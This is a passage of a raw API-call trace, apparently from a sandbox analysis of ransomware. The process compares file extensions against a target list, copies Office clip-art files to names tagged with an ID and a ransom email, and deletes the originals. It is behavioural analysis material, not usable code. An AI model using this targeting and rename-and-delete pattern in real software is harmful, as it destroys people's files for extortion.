services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.846] lstrlenW (lpString=".doc") returned 4 [0054.846] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.846] lstrlenW (lpString=".docx") returned 5 [0054.846] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0054.846] lstrlenW (lpString=".pdf") returned 4 [0054.846] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.846] lstrlenW (lpString=".xls") returned 4 [0054.846] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.846] lstrlenW (lpString=".xlsx") returned 5 [0054.846] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0054.846] lstrlenW (lpString=".ppt") returned 4 [0054.846] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.846] lstrlenW (lpString=".zip") returned 4 [0054.846] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.846] lstrlenW (lpString=".rar") returned 4 [0054.846] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.846] lstrlenW (lpString=".bz2") returned 4 [0054.846] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.846] lstrlenW (lpString=".7z") returned 3 [0054.846] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.846] lstrlenW (lpString=".dbf") returned 4 [0054.846] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString=".1cd") returned 4 [0054.847] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString=".jpg") returned 4 [0054.847] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString=".doc") returned 4 [0054.847] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString=".docx") returned 5 [0054.847] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0054.847] lstrlenW (lpString=".pdf") returned 4 [0054.847] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString=".xls") returned 4 [0054.847] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString=".xlsx") returned 5 [0054.847] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0054.847] lstrlenW (lpString=".ppt") returned 4 [0054.847] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString=".zip") returned 4 [0054.847] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0054.847] lstrlenW (lpString=".rar") returned 4 [0054.847] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString=".bz2") returned 4 [0054.847] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString=".7z") returned 3 [0054.847] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString=".dbf") returned 4 [0054.847] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0054.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.847] lstrlenW (lpString=".1cd") returned 4 [0054.848] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0054.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0054.848] lstrlenW (lpString=".jpg") returned 4 [0054.848] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0054.848] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.848] lstrlenW (lpString="AG00142_.GIF") returned 12 [0054.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.848] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=15308) returned 1 [0054.848] CloseHandle (hObject=0x1d0) returned 1 [0054.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 0x20 [0054.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.849] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.849] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.849] GetLastError () returned 0x0 [0054.849] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x3bcc, lpOverlapped=0x0) returned 1 [0054.851] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x3bd0, lpOverlapped=0x0) returned 1 [0054.852] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.852] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.852] SetEndOfFile (hFile=0x1fc) returned 1 [0054.852] CloseHandle (hObject=0x1fc) returned 1 [0054.852] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.852] SetEndOfFile (hFile=0x1d0) returned 1 [0054.853] CloseHandle (hObject=0x1d0) returned 1 [0054.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0054.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.853] lstrlenW (lpString=".doc") returned 4 [0054.853] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.854] lstrlenW (lpString=".docx") returned 5 [0054.854] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.854] lstrlenW (lpString=".pdf") returned 4 [0054.854] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.854] lstrlenW (lpString=".xls") returned 4 [0054.854] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.854] lstrlenW (lpString=".xlsx") returned 5 [0054.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.854] lstrlenW (lpString=".ppt") returned 4 [0054.854] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.854] lstrlenW (lpString=".zip") returned 4 [0054.854] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.854] lstrlenW (lpString=".rar") returned 4 [0054.854] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.854] lstrlenW (lpString=".bz2") returned 4 [0054.854] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.854] lstrlenW (lpString=".7z") returned 3 [0054.854] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.854] lstrlenW (lpString=".dbf") returned 4 [0054.854] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.854] lstrlenW (lpString=".1cd") returned 4 [0054.854] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.854] lstrlenW (lpString=".jpg") returned 4 [0054.854] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.854] lstrlenW (lpString=".doc") returned 4 [0054.854] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.854] lstrlenW (lpString=".docx") returned 5 [0054.854] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.854] lstrlenW (lpString=".pdf") returned 4 [0054.855] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.855] lstrlenW (lpString=".xls") returned 4 [0054.855] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.855] lstrlenW (lpString=".xlsx") returned 5 [0054.855] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.855] lstrlenW (lpString=".ppt") returned 4 [0054.855] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.855] lstrlenW (lpString=".zip") returned 4 [0054.855] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.855] lstrlenW (lpString=".rar") returned 4 [0054.855] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.855] lstrlenW (lpString=".bz2") returned 4 [0054.855] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.855] lstrlenW (lpString=".7z") returned 3 [0054.855] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.855] lstrlenW (lpString=".dbf") returned 4 [0054.855] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.855] lstrlenW (lpString=".1cd") returned 4 [0054.855] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 63 [0054.855] lstrlenW (lpString=".jpg") returned 4 [0054.855] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.855] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.855] lstrlenW (lpString="AG00154_.GIF") returned 12 [0054.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.856] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=5315) returned 1 [0054.856] CloseHandle (hObject=0x1d0) returned 1 [0054.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 0x20 [0054.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.856] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.856] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.856] GetLastError () returned 0x0 [0054.856] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x14c3, lpOverlapped=0x0) returned 1 [0054.858] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x14d0, lpOverlapped=0x0) returned 1 [0054.859] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.859] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.859] SetEndOfFile (hFile=0x1fc) returned 1 [0054.859] CloseHandle (hObject=0x1fc) returned 1 [0054.859] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.859] SetEndOfFile (hFile=0x1d0) returned 1 [0054.860] CloseHandle (hObject=0x1d0) returned 1 [0054.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0054.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.860] lstrlenW (lpString=".doc") returned 4 [0054.860] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.860] lstrlenW (lpString=".docx") returned 5 [0054.860] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.860] lstrlenW (lpString=".pdf") returned 4 [0054.860] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString=".xls") returned 4 [0054.861] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString=".xlsx") returned 5 [0054.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.861] lstrlenW (lpString=".ppt") returned 4 [0054.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.861] lstrlenW (lpString=".zip") returned 4 [0054.861] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString=".rar") returned 4 [0054.861] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString=".bz2") returned 4 [0054.861] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.861] lstrlenW (lpString=".7z") returned 3 [0054.861] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.861] lstrlenW (lpString=".dbf") returned 4 [0054.861] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.861] lstrlenW (lpString=".1cd") returned 4 [0054.861] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.861] lstrlenW (lpString=".jpg") returned 4 [0054.861] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.861] lstrlenW (lpString=".doc") returned 4 [0054.861] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.861] lstrlenW (lpString=".docx") returned 5 [0054.861] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0054.861] lstrlenW (lpString=".pdf") returned 4 [0054.861] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.861] lstrlenW (lpString=".xls") returned 4 [0054.861] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.862] lstrlenW (lpString=".xlsx") returned 5 [0054.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0054.862] lstrlenW (lpString=".ppt") returned 4 [0054.862] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.862] lstrlenW (lpString=".zip") returned 4 [0054.862] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.862] lstrlenW (lpString=".rar") returned 4 [0054.862] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.862] lstrlenW (lpString=".bz2") returned 4 [0054.862] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.862] lstrlenW (lpString=".7z") returned 3 [0054.862] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.862] lstrlenW (lpString=".dbf") returned 4 [0054.862] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.862] lstrlenW (lpString=".1cd") returned 4 [0054.862] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 63 [0054.862] lstrlenW (lpString=".jpg") returned 4 [0054.862] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.862] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0054.862] lstrlenW (lpString="AG00157_.GIF") returned 12 [0054.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.862] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=4955) returned 1 [0054.863] CloseHandle (hObject=0x1d0) returned 1 [0054.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 0x20 [0054.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0054.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0054.863] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.863] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0054.863] GetLastError () returned 0x0 [0054.863] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x135b, lpOverlapped=0x0) returned 1 [0054.864] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x1360, lpOverlapped=0x0) returned 1 [0054.865] ReadFile (in: hFile=0x1d0, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.865] WriteFile (in: hFile=0x1fc, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.865] SetEndOfFile (hFile=0x1fc) returned 1 [0054.866] CloseHandle (hObject=0x1fc) returned 1 [0054.866] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.866] SetEndOfFile (hFile=0x1d0) returned 1 [0054.867] CloseHandle (hObject=0x1d0) returned 1 [0054.867] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0054.867] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0054.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 63 [0054.867] lstrlenW (lpString=".doc") returned 4 [0054.867] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.867] lstrlenW (lpString=".docx") returned 5 [0054.867] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned 